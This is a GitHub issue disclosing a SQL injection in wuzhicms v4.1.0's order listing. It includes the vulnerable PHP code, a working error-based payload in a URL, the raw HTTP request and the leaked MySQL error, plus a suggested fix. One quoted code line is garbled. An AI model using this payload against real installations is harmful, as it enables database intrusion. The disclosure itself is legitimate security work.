

[Jump to bottom](#)

wuzhicms v4.1.0 /coreframe/app/order/admin/index.php sql injection vulnerability #175

Open liao10086 opened this issue on Mar 27, 2019 · 1 comment

[liao10086](#) commented on Mar 27, 2019

hi:

I found a sql injection vulnerability in /coreframe/app/order/admin/index.php

```

public function listing() {
    $load_class('form');
    $fieldtypes = array('订单ID','标题','下单会员','物流单号');
    $flag = $GLOBALS['flag'];
    $status = array();
    $status[1] = '待发货';
    $status[2] = '已发货';
    $status[3] = '订单完成';

    $status_arr = $this->status_arr;
    $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
    $page = max($page,1);
    $keyValue = strip_tags($GLOBALS['keyValue']);
    $fieldtype = intval($GLOBALS['fieldtype']);
    $where = '1';
    if($keyValue) {
        switch($fieldtype) {
            case 0:
                $where .= " AND `order_no`='{$keyValue}'";
                break;
            case 1:
                $where .= " AND `remark` LIKE '%{$keyValue}'";
                break;
            case 2:
                $r = $this->db->get_one('member', array('username' => $keyValue));
                $uid = $r['uid'];
                $where .= " AND `uid`='{$uid}'";
                break;
            case 3:
                $where .= " AND `snid`='{$keyValue}'";
                break;
        }
    }
    if($flag=='C6' $flag=0 || $flag $where .= " AND `status`='{$flag}'";
    $starttime = '';
    $endtime = '';
    if($GLOBALS['starttime']) {
        $starttime = strtotime($GLOBALS['starttime']);
        $where .= " AND `addtime`> '{$starttime}'";
    }
    if($GLOBALS['endtime']) {
        $endtime = strtotime($GLOBALS['endtime']);
        $where .= " AND `addtime`< '{$endtime}'";
    }
    $result_arr = $this->db->get_list('order_point', $where, '*', 0, 20,$page,'orderID DESC');
    $pages = $this->db->pages;
}

```

the parameter 'flag' didn't filtering of harmful input,so I can injection sql.

payload like this:

http://127.0.0.1/index.php?m=order&f=index&v=listing&_su=wuzhicms&flag= xxxx' or updatexml(1,concat(0x7e,(version()))),0) or

Result:



RawParamsHeadersHex

```
GET
/wwww/index.php?m=order&f=index&v=listing&_su=wuzhicms&flag=%20xxx
%27%20or%20%20updatexml(1,concat(0x7e,(version()))),0)%20or%20%2
7 HTTP/1.1
Host: 192.168.10.12
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14;
rv:56.0) Gecko/20100101 Firefox/56.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=2sc5he6op081r24e5367ob2837;
icW_uid=f2yhkQKugrB0QfCz42B89hg7w%3D%3D;
icW_username=2ijJfAOErfz1Bgh6sc1m1g%3D%3D;
icW_wz_name=%2FAPH1WqXKnacKhRaOPZSGA%3D%3D;
icW_siteId=8oTE9j62OF8SpAHU00QPkv%3D%3D;
icW_userkeys=n0hw6QczTUKw7AWh1MgWg%3D%3D
Connection: close
Upgrade-Insecure-Requests: 1
```

RawHeadersHex

```
href="http://192.168.10.12/www/res/css/bootstrapreset.css"
rel="stylesheet">
<link
href="http://192.168.10.12/www/res/css/pixgridicons.min.css"
rel="stylesheet" />
<link href="http://192.168.10.12/www/res/css/style.css"
rel="stylesheet">
<link
href="http://192.168.10.12/www/res/css/responsive.css"
rel="stylesheet" />
<script
src="http://192.168.10.12/www/res/js/jquery.min.js"></script>
<script type="text/javascript">
var cookie_pre = 'icW_',var cookie_domain = '';var
cookie_path = '/';var web_url = 'http://192.168.10.12/www/';
</script>
<script
src="http://192.168.10.12/www/res/js/base.js"></script>
</head>
<body class="body pixgridbody">
<div class="container">
<div class="prompt center">
<div class="promptmain">
<div class="prompthead"></div>
<div class="promptcontainer">
<div class="icon-info"></div><span><div
style="font-size: 9px;word-break: break-all;height:
150px;overflow: overlay;">[sql_error]MySQL Query Error<br /><br
/>SELECT COUNT(*) AS num FROM `ws_order_point` WHERE 1 AND
`status`= 'xxx' or updatexml(1,concat(0x7e,(version()))),0) or
--5.5.53'<br /></div></div>
</div>
<div class="promptfooter"><a
href="javascript:history.back()"> 返回上一頁 </a></div>
```

suggest:

\$flag = sql_replace(\$GLOBALS['flag']);

Release Info:

v4.1.0

author by: xijun.liao@dbappsecurity.com.cn

1

Cristian-Bejan commented on Aug 24, 2021

@liao10086 Does the attacker require admin privileges in order to exploit the SQL injection?

 tcyba mentioned this issue on Sep 6, 2021

There are 3 SQL injections in Wuzhicms v4.1.0 background #198

[Open](#)

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

